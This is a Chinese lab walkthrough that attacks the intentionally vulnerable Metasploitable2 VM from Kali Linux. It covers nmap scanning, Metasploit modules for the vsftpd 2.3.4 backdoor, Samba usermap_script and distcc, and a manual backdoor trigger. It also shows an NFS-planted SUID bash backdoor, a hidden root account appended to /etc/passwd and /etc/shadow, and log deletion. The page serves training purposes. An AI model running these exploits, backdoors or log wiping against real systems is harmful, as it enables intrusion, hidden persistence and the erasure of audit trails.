当前位置: 首页 > news >正文

别再对着Metasploitable2靶机发呆了!手把手教你用Kali Linux从21端口一路打到8787端口

从信息收集到权限提升:Metasploitable2靶机渗透实战指南

第一次打开Metasploitable2靶机时,面对几十个开放端口和五花八门的服务,大多数新手都会感到无从下手。这不是你的问题——网络安全领域最困难的从来不是工具的使用,而是建立系统化的攻击思维。本文将带你体验一次完整的渗透测试流程,从最基础的Nmap扫描开始,到最终获取系统最高权限,过程中我会分享每个关键节点的决策逻辑和实用技巧。

1. 环境准备与信息收集

在开始真正的渗透之前,确保你的实验环境已经正确搭建。Kali Linux作为攻击机,Metasploitable2作为靶机,两者需要在同一网络下。我建议使用桥接模式而非NAT,这样可以避免一些网络扫描的奇怪问题。

基础检查清单:

  • Kali Linux IP: 172.16.5.42 (ifconfig查看)
  • Metasploitable2 IP: 172.16.5.17 (netdiscover扫描)
  • 网络连通性:ping 172.16.5.17

真正的渗透从信息收集开始。Nmap是我们的主力工具,但新手常犯的错误是直接使用默认扫描参数。对于Metasploitable2这样的实验环境,我更推荐以下组合命令:

nmap -sV -sC -O -p- -T4 172.16.5.17 -oA metasploitable_scan

这个命令做了几件重要的事:

  • -sV: 服务版本检测
  • -sC: 默认脚本扫描
  • -O: 操作系统识别
  • -p-: 扫描所有65535个端口
  • -T4: 加快扫描速度
  • -oA: 输出所有格式报告

扫描完成后,你会看到类似下面的精简版结果:

端口号服务版本信息潜在风险等级
21ftpvsftpd 2.3.4高危
22sshOpenSSH 4.7p1中危
23telnetLinux telnetd高危
80httpApache httpd 2.2.8中危
445smbSamba smbd 3.X高危
6667ircUnrealIRCd高危
8787drbRuby DRb RMI高危

2. 攻击入口选择与初步渗透

面对这么多开放端口,新手最常问的问题是:"我应该从哪个端口开始?"经验法则是:先找已知的、可远程代码执行(RCE)的漏洞。在Metasploitable2中,21端口的vsftpd 2.3.4笑脸漏洞是最佳切入点。

为什么选择21端口?三个原因:

  1. 漏洞利用稳定可靠
  2. 不需要任何凭证
  3. 直接获取root权限shell

使用Metasploit框架进行攻击:

msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 172.16.5.17 exploit

如果一切顺利,几秒钟后你就会获得一个root权限的shell。但现实往往没那么简单,我在教学中发现约30%的学员会遇到这些问题:

  • 问题1:漏洞利用失败,靶机没有在6200端口开放后门

  • 解决方案:尝试手动触发漏洞

    telnet 172.16.5.17 21 USER test:) PASS test

    然后新开终端连接6200端口:

    nc 172.16.5.17 6200
  • 问题2:获得了shell但无法执行命令

  • 解决方案:升级为完全交互式shell

    python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm

3. 横向移动与权限维持

拿到第一个shell只是开始。专业的渗透测试者会立即做三件事:

  1. 收集当前系统信息
  2. 寻找横向移动机会
  3. 建立持久化访问

系统信息收集命令参考:

# 查看系统版本 cat /etc/issue uname -a # 查看用户和组 cat /etc/passwd cat /etc/group # 查看网络配置 ifconfig netstat -tulnp # 查找敏感文件 find / -name "*.txt" -o -name "*.conf" -o -name "*password*" 2>/dev/null

在Metasploitable2中,你会发现一个有趣的配置错误:/var目录通过NFS共享,而且配置为可写。这意味着我们可以轻松上传后门:

# 在Kali上挂载靶机NFS共享 mkdir /tmp/metasploit mount -t nfs 172.16.5.17:/var /tmp/metasploit # 创建后门并设置SUID位 cp /bin/bash /tmp/metasploit/www/shell chmod +s /tmp/metasploit/www/shell # 在靶机上执行后门 /var/www/shell -p

4. 多漏洞串联与权限提升

虽然我们已经获得了root权限,但为了练习目的,让我们看看如何通过其他路径达成相同目标。Metasploitable2上最有趣的漏洞链是结合Samba和Distcc服务:

  1. 通过Samba获取低权限shell

    use exploit/multi/samba/usermap_script set RHOST 172.16.5.17 exploit
  2. 发现Distcc服务存在RCE漏洞

    # 在获得的shell中 netstat -tulnp | grep 3632
  3. 利用Distcc漏洞提升权限

    use exploit/unix/misc/distcc_exec set RHOST 172.16.5.17 set LHOST 172.16.5.42 exploit

这个过程中最关键的技巧是漏洞的串联思维。当单独一个漏洞无法直接获取最高权限时,我们需要组合多个中危漏洞,像搭积木一样逐步提升权限。

5. 后渗透技巧与痕迹清理

真正的渗透测试不会在获取root权限后就结束。专业的测试者还需要:

  1. 收集凭证信息

    # 查找SSH密钥 find / -name "id_rsa*" 2>/dev/null # 查看历史命令 cat ~/.bash_history # 检查cron jobs crontab -l
  2. 建立持久化后门

    # 添加root用户 echo "toor:x:0:0:root:/root:/bin/bash" >> /etc/passwd echo "toor:\$1\$salt\$NjywzJXsbjH5SJ4oJk7VX.:0:0:99999:7:::" >> /etc/shadow
  3. 清理日志痕迹

    # 清除当前用户相关日志 echo "" > /var/log/auth.log echo "" > /var/log/syslog # 更彻底的做法是删除整个日志文件 rm -f /var/log/*.log

记住,在实际渗透测试中,痕迹清理需要谨慎操作,过度清理反而会引起怀疑。最好的方式是只删除与你活动相关的特定日志条目。

6. 从练习到实战的思维转变

Metasploitable2作为学习工具的最大价值,不在于它有多少个漏洞,而在于它如何帮助我们建立渗透测试的思维框架。当你面对真实网络时,应该养成以下习惯:

  1. 建立攻击树:绘制可能的攻击路径,评估每条路径的成功概率和风险
  2. 优先利用链:组合低危漏洞往往比寻找单个高危漏洞更有效
  3. 环境适应性:真实网络中工具参数需要不断调整,没有放之四海而皆准的配置

最后分享一个实用技巧:在Metasploitable2练习时,尝试给自己设定限制条件,比如"不使用Metasploit框架"或"只能从80端口开始",这种约束训练能显著提升你的问题解决能力。

http://www.jsqmd.com/news/738658/

相关文章:

  • OpenCV多摄像头开发避坑指南:如何通过VID/PID为你的USB摄像头办个‘身份证’
  • 多模态AI云端推理平台PrismerCloud:从模型部署到生产运维全解析
  • 如何用AKShare快速搭建你的量化投资数据平台?终极指南来啦!
  • 从GJB-5000A到5000B:手把手教你解读2021版软件能力成熟度模型的核心变化
  • 《空性与痕迹:自感痕迹论与全球思想史的重释——岐金兰AI元人文思想体系》
  • 如何彻底告别网盘限速:八大平台直链下载工具完全指南
  • 革命性开源字体解决方案:Bebas Neue免费商用字体的终极指南
  • Qsen-07多传感器开发板在智能家居环境监测中的应用
  • SpringBoot接口压测实战:用JMeter 5.5从零到一跑出性能报告(附插件配置避坑)
  • 从‘水网’到‘电网’:一个生活化的比喻,让你5分钟彻底搞懂基尔霍夫定律
  • 无后端全栈开发实战:基于Supabase与React构建技能交换平台
  • Unity画线别再只用Debug.DrawLine了!5种方法从调试到实战全解析
  • VT2004A板卡避坑指南:从硬件接线到CAPL脚本,新手最容易踩的5个坑
  • Sentry-MCP:让AI助手拥有实时项目诊断能力的全栈工程师
  • 6G频率孔径技术:毫米波感知与通信融合新突破
  • 别再为LaTeX自定义命令报错发愁了!手把手教你玩转\newcommand和\renewcommand
  • 2026年物料输送断流检测开关技术原理与实力厂家选型指南:涵盖知名品牌、源头企业及质量口碑的综合分析 - 品牌推荐大师1
  • Pytorch图像去噪实战(二十四):批量图片去噪脚本实战,构建可复用的数据处理流水线
  • Cura 3D打印切片软件:从零开始掌握免费专业的打印解决方案
  • 2026年激光法粉尘仪行业标杆与实力厂家全方位解析:涵盖质量、口碑、销量及选型的综合指南 - 品牌推荐大师1
  • 三步构建个人漫画数字图书馆:哔咔漫画下载器完全指南
  • 5分钟掌握Word到LaTeX转换:docx2tex完整指南
  • Claude Code 可观测性工具 claude-devtools:解析 AI 开发黑盒,提升协作效率
  • 从Apollo自动驾驶代码出发:手把手教你实现C++版二阶巴特沃斯低通滤波器
  • TranslucentTB:让Windows任务栏变透明的终极解决方案
  • Once UI for Next.js:基于Token系统的设计系统与开发效率提升实践
  • DMA读不到数据?外设明明有波形!一文讲透 Cortex-M7 的 D-Cache 一致性灾难
  • OpenClaw AI Agent安全加固实战:从原理到部署的纵深防御指南
  • 为AI编程助手构建永久记忆:Cursor-Handbook规则引擎实战指南
  • AXI-Stream接口奇偶校验机制与高速数据传输优化